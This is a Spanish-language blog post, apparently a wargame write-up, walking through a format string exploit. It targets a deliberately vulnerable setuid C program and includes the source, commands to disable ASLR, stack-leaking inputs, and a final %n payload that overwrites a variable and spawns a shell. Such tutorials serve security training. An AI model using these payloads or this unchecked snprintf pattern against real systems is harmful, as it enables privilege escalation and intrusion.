domingo, 26 de febrero de 2012

Fromat String Overflow, Un poco de ejercicio para no oxidarse


Hola a todos espero que este pequeño ejercicio que les dejo les sirva de entrenamiento, como a mi ya que tenia rato que no hacia algo de esto y había perdido algo de toque.

Lo primero que necesitaremos sera lo siguiente:
  1. Tener cualquier sistema linux disponible, en este caso lo haré en un backtrack instalado.
  2. Desactivar el ASLR de Linux, no pondré como hacerlo con el ASLR, por que aun ando en eso.
  3. Tener los compiladores de GCC.
 
Ahora bien empecemos con un poco de acción, el objetivo de este format string es llegar a obtener la shell de root, veamos como:

#include 
#include 

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                seteuid(1007);
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

Como podemos observar, lo que necesitamos hacer para llegar a la shell de root es cambiar el valor de la variable i e igualarla a 500. No podemos realizar un simple buffer overflow, por que lo que escribamos en argv sera copiado al buffer mediante un snprintf.


Pero usaremos otra técnica, empecemos a ver como:

  • Compilamos nuestra aplicación.
 gcc -o n6 n6.c

  • Cambiamos los permisos de la aplicación para que valga la pena esto.

sudo chown root.root n6 && sudo chmod u+s n6

  • Ahora bien ejecutemos un par de veces el binario que nos ha quedado.

    i = 1 (0xbfefc5a8)
    i = 1 (0xbfdc6f78)
    i = 1 (0xbf91c688)
    i = 1 (0xbf817eb8)
    i = 1 (0xbfbadf08)
    i = 1 (0xbfbdd568)
    i = 1 (0xbf9d6c58)
    i = 1 (0xbf9820e8)
    i = 1 (0xbfa133d8)
    i = 1 (0xbf9c2b98)

  • Ahora bien como podemos ver debido a que el ASLR esta activado, la variable i siempre cambia de posición en memoria y como había mencionado no he hecho aun este ejercicio usando ASLR.
  • Desactivemos el ASLR.
echo 0 > /proc/sys/kernel/randomize_va_space
  • Ahora ejecutemos nuevamente el programa.carlos@bt:~/hack/narnia/tmp$ for i in $(seq 1 3); do ./n6 AAAA; done | grep "i ="
    i = 1 (0xbffff6c8)
    i = 1 (0xbffff6c8)
    i = 1 (0xbffff6c8)
  • Ahora si esta todo bajo control, la memoria de la variable se mantiene tras varias ejecuciones.
  • Ahora investiguemos que sucede en el ejecutable, veamos como abusaremos un poco del código fuente.
    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
  •   Veamos que sucede cuando ejecutamos de la siguiente manera el binario:  
carlos@bt:~/hack/narnia$ ./n6 %08x.08%x.08%x.08%x.08%x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [b7fc9ff4.08b7f78d19.08b7ea32a5.08bffff6b8.0863663762] (52) i = 1 (0xbffff6ec)
  • Carajo, ahora estamos debugueando la memoria del programa, pero como funciona esto , debido a que printf, usa como argento la posición en memoria de la cadena que pasamos y como no valida la entrada de impresion, podemos imprimir las posiciones en memoria relacionadas a la entrada.
  •   Pero veamos pongamos una marca como referencia.
  ./n6 AAAA%08x.08%x.08%x.08%x.08%x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAAb7fc9ff4.08b7f78d19.08b7ea32a5.08bffff6b8.0841414141] (56) i = 1 (0xbffff6ec) 
  •   Uff, ahora bien ya encontramos en que posición de memoria printf esta buscando la cadena, de la siguiente manera AAA es igual a 41414141, según la tabla ascii. http://ascii.cl/es/
  • Pero como podemos llegar a la posición 5 de esta memoria, pues fácilmente usando el operado $, en el printf.
The arguments must correspond properly (after type 
promotion) with the conversion specifier. 
By default, the arguments are  used  in  theorder 
given, where each '*' and each conversion specifier
 asks for the next argument (and it is an error if 
insufficiently many arguments are given). One can 
also specify explicitly which argument is taken, at
 each place where  an  argument  is  required,  by
 writing  "%m$" instead  of  '%'  and "*m$" 
instead of '*', where the decimal integer m denotes
 the position in the argument
 list of the desired argument,

indexed starting from 1.  Thus,

 printf("%*d", width, num);

       and

 printf("%2$*1$d", width, num);
 
  • Veamos como  
 carlos@bt:~/hack/narnia$ ./n6 AAAA%5\$x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAA41414141] (12) i = 1 (0xbffff6fc)
  •   Ahora bien llegamos a la posición 5 de memoria del printf, que es donde empieza la impresión.
  • Pero bueno la intención es editar la posición de memoria donde se encuentra la variable i (0xbffff6fc).
  • Pues vamos a decirle a printf que lo haga por nosotros solo ya que el primer parámetro de printf, es la posición en memoria donde se encuentra la cada, lo haremos de la siguiente forma, como observamos el primer parametro en la posición en memoria de i y hacemos un dump de su contenido como se ve en “buffer: bffff6fc”.
  • Recuerden hay que invertir los valores de la memoria, por el endia de nuestro procesador i386.
carlos@bt:~/hack/narnia$ ./n6 $(printf "\xfc\xf6\xff\xbf")%5\$x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����bffff6fc] (12)
i = 1 (0xbffff6fc)
 
  • Pero como podemos editar la variable, ya llegamos a ella usando printf pero como podemos editar el valor de i, pues veamos nuevamente que dice el man page de printf.
  • Pues fácilmente usaremos en printf con el “conversion specifier” n, el cual escribe la cantidad de caracteres hasta entonces escritos por printf, veamos que sucede.
    ./n6 $(printf "\xfc\xf6\xff\xbf")%5\$n
    
    Change i's value from 1 -> 500. No way...let me give you a hint!
    
    buffer : [����] (4)
    
    i = 4 (0xbffff6fc)
    
  • Ahora bien que carajos logramos escribir algo en la variable i, como se observa en la parte anterior.
    i = 4 (0xbffff6fc)
  • Pues necesitamos incrementar el valor por lo menos en 496, como 500 – 4 = 496, pero como pues incrementarlo en antes de la escribirlo con el specifier %n, de la siguiente manera %496x%5\$n
  • Veamos ahora que sucede.
carlos@bt:~/hack/narnia$ ./n6 $(printf "\xfc\xf6\xff\xbf")%496x%5\$n

Change i's value from 1 -> 500. GOOD

sh-4.1$ 
  • Con esto editamos el valor de la variable i y entramos el if que nos ejecuta el system, que nos da una shell, espero les sirva este ejercicio como a mi para practicar algo que no hago seguido y se tiende a olvidar.

No hay comentarios: